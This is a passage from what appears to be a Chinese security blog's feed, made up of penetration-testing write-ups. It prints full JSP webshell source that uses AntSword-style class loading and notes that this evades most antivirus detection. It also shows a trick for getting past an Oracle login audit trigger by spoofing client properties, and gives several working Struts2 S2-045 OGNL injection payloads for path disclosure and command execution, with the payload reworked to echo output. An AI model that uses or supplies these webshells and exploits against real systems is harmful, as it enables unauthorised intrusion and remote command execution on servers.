class="number">0</span>, b.length);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="type">byte</span>[] base64Decode(String str) <span class="keyword">throws</span> Exception {</span><br><span class="line"> Class base64;</span><br><span class="line"> <span class="type">byte</span>[] value = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> base64=Class.forName(<span class="string">"sun.misc.BASE64Decoder"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">decoder</span> <span class="operator">=</span> base64.newInstance();</span><br><span class="line"> value = (<span class="type">byte</span>[])decoder.getClass().getMethod(<span class="string">"decodeBuffer"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {String.class }).invoke(decoder, <span class="keyword">new</span> <span class="title class_">Object</span>[] { str });</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> base64=Class.forName(<span class="string">"java.util.Base64"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">decoder</span> <span class="operator">=</span> base64.getMethod(<span class="string">"getDecoder"</span>, <span class="literal">null</span>).invoke(base64, <span class="literal">null</span>);</span><br><span class="line"> value = (<span class="type">byte</span>[])decoder.getClass().getMethod(<span class="string">"decode"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }).invoke(decoder, <span class="keyword">new</span> <span class="title class_">Object</span>[] { str });</span><br><span class="line"> } <span class="keyword">catch</span> (Exception ee) {}</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> value;</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"><%</span><br><span class="line"> <span class="type">String</span> <span class="variable">cls</span> <span class="operator">=</span> request.getParameter(<span class="string">"ant"</span>);</span><br><span class="line"> <span class="keyword">if</span> (cls != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">U</span>(<span class="built_in">this</span>.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(<span class="keyword">new</span> <span class="title class_">Object</span>[]{request,response});</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>整体逻辑获取ant参数值,判断ant参数值是否为空。不为空,将其base64解码,通过defineClass、getClassLoader等将其动态加载执行。<br>通过代理将蚁剑请求流量代理到BurpSuite,可直接将ant的参数值使用工具解码出来。</p>
<p><img data-src="https://i.loli.net/2021/08/09/KRADdG4BVN93jp2.png" alt="antSwordProxy"></p>
<p>也可以直接查看原始文件,路径source/core/jsp/template/command.js<br><img data-src="https://i.loli.net/2021/08/09/lfdnHWO198ybje3.png" alt="antSwordCommand"></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> command.Exec;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exec</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">String</span> <span class="variable">encoder</span> <span class="operator">=</span> <span class="string">"base64"</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">String</span> <span class="variable">cs</span> <span class="operator">=</span> <span class="string">"antswordCharset"</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">String</span> <span class="variable">randomPrefix</span> <span class="operator">=</span> <span class="string">"antswordrandomPrefix"</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> String decoderClassdata;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object paramObject)</span> {</span><br><span class="line"> parseObj(paramObject);</span><br><span class="line"> <span class="type">StringBuffer</span> <span class="variable">stringBuffer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line"> <span class="type">String</span> <span class="variable">str1</span> <span class="operator">=</span> <span class="string">"->|"</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str2</span> <span class="operator">=</span> <span class="string">"|<-"</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str3</span> <span class="operator">=</span> <span class="string">"antswordargbin"</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str4</span> <span class="operator">=</span> <span class="string">"antswordargcmd"</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str5</span> <span class="operator">=</span> <span class="string">"antswordargenv"</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str6</span> <span class="operator">=</span> <span class="string">"antswordargdecoder"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="built_in">this</span>.response.setContentType(<span class="string">"text/html"</span>);</span><br><span class="line"> <span class="built_in">this</span>.request.setCharacterEncoding(<span class="built_in">this</span>.cs);</span><br><span class="line"> <span class="built_in">this</span>.response.setCharacterEncoding(<span class="built_in">this</span>.cs);</span><br><span class="line"> <span class="type">String</span> <span class="variable">str7</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str3));</span><br><span class="line"> <span class="type">String</span> <span class="variable">str8</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str4));</span><br><span class="line"> <span class="type">String</span> <span class="variable">str9</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str5));</span><br><span class="line"> <span class="built_in">this</span>.decoderClassdata = decode(<span class="built_in">this</span>.request.getParameter(str6));</span><br><span class="line"> stringBuffer.append(ExecuteCommandCode(str7, str8, str9));</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> stringBuffer.append(<span class="string">"ERROR:// "</span> + exception.toString());</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="built_in">this</span>.response.getWriter().print(str1 + asoutput(stringBuffer.toString()) + str2);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {}</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> String <span class="title function_">decode</span><span class="params">(String paramString)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> i = Integer.parseInt(<span class="built_in">this</span>.randomPrefix);</span><br><span class="line"> paramString = paramString.substring(i);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> i = <span class="number">0</span>;</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">this</span>.encoder.equals(<span class="string">"hex"</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (paramString == <span class="literal">null</span> || paramString.equals(<span class="string">""</span>))</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>; </span><br><span class="line"> <span class="type">String</span> <span class="variable">str1</span> <span class="operator">=</span> <span class="string">"0123456789ABCDEF"</span>;</span><br><span class="line"> paramString = paramString.toUpperCase();</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>(paramString.length() / <span class="number">2</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">str2</span> <span class="operator">=</span> <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">byte</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">0</span>; b < paramString.length(); b += <span class="number">2</span>) {</span><br><span class="line"> str2 = str2 + (str1.indexOf(paramString.charAt(b)) << <span class="number">4</span> | str1.indexOf(paramString.charAt(b + <span class="number">1</span>))) + <span class="string">","</span>;</span><br><span class="line"> byteArrayOutputStream.write(str1.indexOf(paramString.charAt(b)) << <span class="number">4</span> | str1.indexOf(paramString.charAt(b + <span class="number">1</span>)));</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">return</span> byteArrayOutputStream.toString(<span class="built_in">this</span>.cs);</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">this</span>.encoder.equals(<span class="string">"base64"</span>))</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(Base64DecodeToByte(paramString), <span class="built_in">this</span>.cs); </span><br><span class="line"> <span class="keyword">return</span> paramString;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">ExecuteCommandCode</span><span class="params">(String paramString1, String paramString2, String paramString3)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">StringBuffer</span> <span class="variable">stringBuffer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line"> String[] arrayOfString1 = { paramString1, !isWin() ? <span class="string">"-c"</span> : <span class="string">"/c"</span>, paramString2 };</span><br><span class="line"> Map<String, String> map = System.getenv();</span><br><span class="line"> HashMap<String, String> hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span><String, String>(map);</span><br><span class="line"> String[] arrayOfString2 = paramString3.split(<span class="string">"\\|\\|\\|asline\\|\\|\\|"</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">byte</span> <span class="variable">b1</span> <span class="operator">=</span> <span class="number">0</span>; b1 < arrayOfString2.length; b1++) {</span><br><span class="line"> String[] arrayOfString = arrayOfString2[b1].split(<span class="string">"\\|\\|\\|askey\\|\\|\\|"</span>);</span><br><span class="line"> <span class="keyword">if</span> (arrayOfString.length == <span class="number">2</span>)</span><br><span class="line"> hashMap.put(arrayOfString[<span class="number">0</span>], arrayOfString[<span class="number">1</span>]); </span><br><span class="line"> } </span><br><span class="line"> String[] arrayOfString3 = <span class="keyword">new</span> <span class="title class_">String</span>[hashMap.size()];</span><br><span class="line"> <span class="type">byte</span> <span class="variable">b2</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (String str : hashMap.keySet()) {</span><br><span class="line"> arrayOfString3[b2] = str + <span class="string">"="</span> + (String)hashMap.get(str);</span><br><span class="line"> b2++;</span><br><span class="line"> } </span><br><span class="line"> <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> Runtime.getRuntime().exec(arrayOfString1, arrayOfString3);</span><br><span class="line"> CopyInputStream(process.getInputStream(), stringBuffer);</span><br><span class="line"> CopyInputStream(process.getErrorStream(), stringBuffer);</span><br><span class="line"> <span class="keyword">return</span> stringBuffer.toString();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="type">boolean</span> <span class="title function_">isWin</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> str = str.toLowerCase();</span><br><span class="line"> <span class="keyword">return</span> str.startsWith(<span class="string">"win"</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">void</span> <span class="title function_">CopyInputStream</span><span class="params">(InputStream paramInputStream, StringBuffer paramStringBuffer)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">BufferedReader</span> <span class="variable">bufferedReader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(paramInputStream, <span class="built_in">this</span>.cs));</span><br><span class="line"> String str;</span><br><span class="line"> <span class="keyword">while</span> ((str = bufferedReader.readLine()) != <span class="literal">null</span>)</span><br><span class="line"> paramStringBuffer.append(str + <span class="string">"\r\n"</span>); </span><br><span class="line"> bufferedReader.close();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parseObj</span><span class="params">(Object paramObject)</span> {</span><br><span class="line"> <span class="keyword">if</span> (paramObject.getClass().isArray()) {</span><br><span class="line"> Object[] arrayOfObject = (Object[])paramObject;</span><br><span class="line"> <span class="built_in">this</span>.request = (HttpServletRequest)arrayOfObject[<span class="number">0</span>];</span><br><span class="line"> <span class="built_in">this</span>.response = (HttpServletResponse)arrayOfObject[<span class="number">1</span>];</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Class<?> clazz = Class.forName(<span class="string">"javax.servlet.jsp.PageContext"</span>);</span><br><span class="line"> <span class="built_in">this</span>.request = (HttpServletRequest)clazz.getDeclaredMethod(<span class="string">"getRequest"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">this</span>.response = (HttpServletResponse)clazz.getDeclaredMethod(<span class="string">"getResponse"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> <span class="keyword">if</span> (paramObject <span class="keyword">instanceof</span> HttpServletRequest) {</span><br><span class="line"> <span class="built_in">this</span>.request = (HttpServletRequest)paramObject;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field1</span> <span class="operator">=</span> <span class="built_in">this</span>.request.getClass().getDeclaredField(<span class="string">"request"</span>);</span><br><span class="line"> field1.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">HttpServletRequest</span> <span class="variable">httpServletRequest</span> <span class="operator">=</span> (HttpServletRequest)field1.get(<span class="built_in">this</span>.request);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field2</span> <span class="operator">=</span> httpServletRequest.getClass().getDeclaredField(<span class="string">"response"</span>);</span><br><span class="line"> field2.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="built_in">this</span>.response = (HttpServletResponse)field2.get(httpServletRequest);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception1) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="built_in">this</span>.response = (HttpServletResponse)<span class="built_in">this</span>.request.getClass().getDeclaredMethod(<span class="string">"getResponse"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception2) {}</span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">asoutput</span><span class="params">(String paramString)</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">byte</span>[] arrayOfByte = Base64DecodeToByte(<span class="built_in">this</span>.decoderClassdata);</span><br><span class="line"> <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> ClassLoader.class.getDeclaredMethod(<span class="string">"defineClass"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] { <span class="type">byte</span>[].class, <span class="type">int</span>.class, <span class="type">int</span>.class });</span><br><span class="line"> method.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> Class<T> clazz = (Class)method.invoke(getClass().getClassLoader(), <span class="keyword">new</span> <span class="title class_">Object</span>[] { arrayOfByte, Integer.valueOf(<span class="number">0</span>), Integer.valueOf(arrayOfByte.length) });</span><br><span class="line"> <span class="keyword">return</span> clazz.getConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }).newInstance(<span class="keyword">new</span> <span class="title class_">Object</span>[] { paramString }).toString();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> <span class="keyword">return</span> paramString;</span><br><span class="line"> } </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">byte</span>[] Base64DecodeToByte(String paramString) {</span><br><span class="line"> <span class="type">byte</span>[] arrayOfByte = <span class="literal">null</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> System.getProperty(<span class="string">"java.version"</span>);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (str.compareTo(<span class="string">"1.9"</span>) >= <span class="number">0</span>) {</span><br><span class="line"> Class<?> clazz = Class.forName(<span class="string">"java.util.Base64"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> clazz.getMethod(<span class="string">"getDecoder"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke((Object)<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line"> arrayOfByte = (<span class="type">byte</span>[])object.getClass().getMethod(<span class="string">"decode"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }).invoke(object, <span class="keyword">new</span> <span class="title class_">Object</span>[] { paramString });</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> Class<?> clazz = Class.forName(<span class="string">"sun.misc.BASE64Decoder"</span>);</span><br><span class="line"> arrayOfByte = (<span class="type">byte</span>[])clazz.getMethod(<span class="string">"decodeBuffer"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }).invoke(clazz.newInstance(), <span class="keyword">new</span> <span class="title class_">Object</span>[] { paramString });</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">return</span> arrayOfByte;</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>];</span><br><span class="line"> } </span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.通过classLoad的方式,其实可以动态加载好几层;<br>2.结合不同编码、混合编码、classLoad基本可以绕过大部分查杀</p>
]]></content>
<categories>
<category>安全</category>
</categories>
<tags>
<tag>webshell</tag>
</tags>
</entry>
<entry>
<title>Oracle-LOGON_AUDIT_TRIGGER限制</title>
<url>/archives/d36c1a86.html</url>
<content><![CDATA[<p>在某次红蓝演练中遇到Oracle用户、密码正确,但无法连接 提示没有权限。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/oMhbv9KRZicGs4N.png"></p>
<span id="more"></span>
<h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p>根据报错内容<code>触发器SYS.LOGON_AUDIT_TRIGGER</code>执行出错,查询对应<span class="exturl" data-url="aHR0cHM6Ly93d3cuZGJhLW9yYWNsZS5jb20vYXJ0X2J1aWxkZXJfc2VjX2F1ZGl0Lmh0bQ==">材料<i class="fa fa-external-link-alt"></i></span>可得知使用LOGON_AUDIT_TRIGGER是一个登录触发器(有登录行为及执行该触发器)。<img data-src="https://s2.loli.net/2023/04/06/iwZteM6EVOPSdNq.png"></p>
<h1 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h1><p>根据现有情况猜测,数据库服务端对登录行为进行审计。判断并限制登录用户跟登录来源是否匹配,如果不匹配即不允许登录。通过修改驱动属性解决,将驱动属性中的machine设置为客户端主机名,osuser设置为客户端登录的用户。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/FaKYGsCrO2wk6Lq.png"></p>
<p>成功连接</p>
<p><img data-src="https://s2.loli.net/2023/04/06/pPO9T8Rng6UakzG.png"></p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>Oracle</tag>
</tags>
</entry>
<entry>
<title>Struts2另类命令执行</title>
<url>/archives/be483e67.html</url>
<content><![CDATA[<p>在某次HW遇到了一个Struts2可以获取目录,但无法执行命令<br><img data-src="https://i.loli.net/2021/08/07/wUpI28ykAf7tKoz.png" alt="Struts2RCE"></p>
<span id="more"></span>
<h1 id="流量代理"><a href="#流量代理" class="headerlink" title="流量代理"></a>流量代理</h1><p>根据已知信息,现阶段可获取路径,代表该地方确实存在Struts2漏洞。通过将对应流量代理到BurpSuite。</p>
<p><img data-src="https://i.loli.net/2021/08/07/FcRWwtQHI34CNhX.png" alt="Struts2-流量代理"></p>
<h1 id="过程Payload语句"><a href="#过程Payload语句" class="headerlink" title="过程Payload语句"></a>过程Payload语句</h1><p>根据代理获取的流量,获取其判断是否存在Struts S2-045(or S2-046)漏洞使用如下语句</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 判断漏洞是否存在,在响应包中添加头信息,内容为vul:vul</span><br><span class="line">%{#context[<span class="string">'com.opensymphony.xwork2.dispatcher.HttpServletResponse'</span>].addHeader(<span class="string">'vul'</span>,<span class="string">'vul'</span>)}.multipart/form-data</span><br><span class="line"></span><br><span class="line"># 判断漏洞是否存在,让服务器直接返回[tttpppppp111]信息</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#o.println(<span class="string">'['</span>+<span class="string">'tttpppppp'</span>+<span class="string">'111]'</span>)).(#o.close())}<span class="string">"] </span></span><br></pre></td></tr></table></figure>
<p>返回[tttpppppp111]数据<br><img data-src="https://i.loli.net/2021/08/07/vt42mY9bWrR6uCf.png" alt="Struts2-漏洞判断-响应体返回"><br>返回头vul:vul信息<br><img data-src="https://i.loli.net/2021/08/07/QB7JAUkINvfHoO8.png" alt="Struts2-漏洞判断-响应头返回"><br>获取目录信息、命令执行使用如下语句</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 目录获取语句</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#path=#req.getRealPath(<span class="string">'/'</span>)).(#o.println(#path)).(#o.close())}</span><br><span class="line"></span><br><span class="line"># 命令执行语句</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[<span class="string">'com.opensymphony.xwork2.ActionContext.container'</span>]).(#ognlUtil=#container.getInstance(<span class="meta">@com</span>.opensymphony.xwork2.ognl.OgnlUtil<span class="meta">@class</span>)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=<span class="string">'whoami'</span>).(#iswin=(<span class="meta">@java</span>.lang.System<span class="meta">@getProperty('os.name')</span>.toLowerCase().contains(<span class="string">'win'</span>))).(#cmds=(#iswin?{<span class="string">'cmd.exe'</span>,<span class="string">'/c'</span>,#cmd}:{<span class="string">'/bin/bash'</span>,<span class="string">'-c'</span>,#cmd})).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#ros=(<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getOutputStream())).(<span class="meta">@org</span>.apache.commons.io.IOUtils<span class="meta">@copy(#process.getInputStream(),#ros)</span>).(#ros.flush())}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>目录获取</p>
<p><img data-src="https://i.loli.net/2021/08/07/UVioQrIBW3M6jtT.png" alt="Struts2-路径获取"><br>命令执行,截图为本地测试环境所以可成功执行命令。</p>
<p><img data-src="https://i.loli.net/2021/08/07/epklcRmXZhHV6yz.png" alt="Struts2-命令执行"></p>
<p>通过对目标环境不断测试,发现出问题的语句为</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">org.apache.commons.io.IOUtils</span><br></pre></td></tr></table></figure>
<p>去除问题语句,重写payload,让其可返回cmds参数值</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 去除org.apache.commons.io.IOUtils语句,根据路径获取语句修改,直接返回cmds参数值</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmds=<span class="string">"testCMD"</span>).(#o.println(#cmds)).(#o.close())}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>返回cmds参数值testCMD<br><img data-src="https://i.loli.net/2021/08/07/lF982LEYgDwGcJK.png" alt="Struts2-echoCMDS"></p>
<h1 id="最终Payload语句"><a href="#最终Payload语句" class="headerlink" title="最终Payload语句"></a>最终Payload语句</h1><p>根据上文已经可以直接输出对应数据,只需要将执行命令之后的结果通过该方式访问即可。结合命令执行的Payload语句,最终语句如下</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 完成语句改造,输出命令执行结果</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmd=<span class="string">'whoami'</span>). (#cmds=(#iswin?{<span class="string">'cmd.exe'</span>,<span class="string">'/c'</span>,#cmd}:{<span class="string">'/bin/bash'</span>,<span class="string">'-c'</span>,#cmd})).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#re=<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(#process.getInputStream())).(#ros=<span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(#re)).(#o.println(#ros.readLine())).(#o.close())}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>命令执行结果输出</p>
<p><img data-src="https://i.loli.net/2021/08/07/mpzAxRUWlkGPCOr.png" alt="Struts2-命令执行输出"><br>上述语句存在一个问题:如果命令执行结果存在多行,需要不断添加<code>(#o.println(#ros.readLine()))</code>。可通过如下语句获取命令执行存在多少行</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">#</span><br><span class="line">%{(#nike=<span class="string">'multipart/form-data'</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmd=<span class="string">'whoami'</span>). (#cmds=(#iswin?{<span class="string">'cmd.exe'</span>,<span class="string">'/c'</span>,#cmd}:{<span class="string">'/bin/bash'</span>,<span class="string">'-c'</span>,#cmd})).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#re=<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(#process.getInputStream())).(#ros=<span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(#re)).(#o.println(#ros.lines().count())).(#o.close())}</span><br></pre></td></tr></table></figure>
<p>输出命令执行结果具体行数<br><img data-src="https://i.loli.net/2021/08/07/1PRNMIQToghWmeX.png" alt="Struts2-echoCount"><br>根据查询到的资料,java可直接通过lambda或者collect输出。</p>
